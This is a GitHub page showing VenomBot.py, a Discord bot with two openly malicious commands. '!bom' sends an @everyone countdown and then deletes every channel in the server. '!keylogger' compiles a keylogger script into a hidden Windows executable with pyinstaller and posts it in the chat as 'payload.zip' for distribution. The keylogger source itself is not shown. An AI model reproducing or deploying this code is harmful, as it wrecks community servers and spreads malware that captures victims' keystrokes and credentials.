-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathVenomBot.py
84 lines (66 loc) · 2.1 KB
/
VenomBot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import discord
from discord.ext import commands
import requests
import zipfile
from time import sleep
from os import system, remove
from discord import Permissions
token = "BOT TOKEN"
webhookforlogs = "WEBHOOK"
intents = discord.Intents.default()
intents.message_content = True
intents = discord.Intents.all()
intents.guilds = True
intents.messages = True
intents.message_content = True
permissions = discord.Permissions()
permissions.manage_channels = True
permissions.manage_messages = True
intents.members = True
permissions = Permissions()
permissions.administrator = True
bot = commands.Bot(command_prefix='!', intents=intents)
@bot.event
async def on_ready():
print("IM READY")
@bot.command(name="bom")
async def patla(ctx):
guild = ctx.guild
channels = guild.channels
channel = ctx.channel
msg = '```WE ARE GONNA EXPLODE...@everyone```'
await channel.send(msg)
await channel.send("```1...@everyone```")
sleep(1)
await channel.send("```2...@everyone```")
sleep(1)
await channel.send("```3...@everyone```")
sleep(1)
await channel.send("```BYBY...@everyone```")
for channel in channels:
try:
await channel.delete()
except Exception as e:
print(f'Hata: {e}')
@bot.command(name="keylogger")
async def payload(ctx):
await ctx.channel.send("```Preparing...It can take few minutes.```")
with open("codes.py", "rb") as c:
codes = c.read()
with open("keylogger.py", "wb") as f:
f.write(codes)
sleep(3)
system("pyinstaller --windowed --onefile keylogger.py")
sleep(10)
with zipfile.ZipFile("payload.zip", "w") as zip:
zip.write("\\dist\\keylogger.exe")#Configure the keylogger.exe file
with open("payload.zip", "rb") as zip_file:
file = "payload.zip"
payload = discord.File(file, filename="payload.zip")
await ctx.channel.send("enjoy", file=payload)
sleep(6)
remove("payload.zip")
remove("\\dist\keylogger.py")#Configure the keylogger.exe file
remove("\\build")#Configure the build folder
remove("keyloger.spec")
bot.run(token)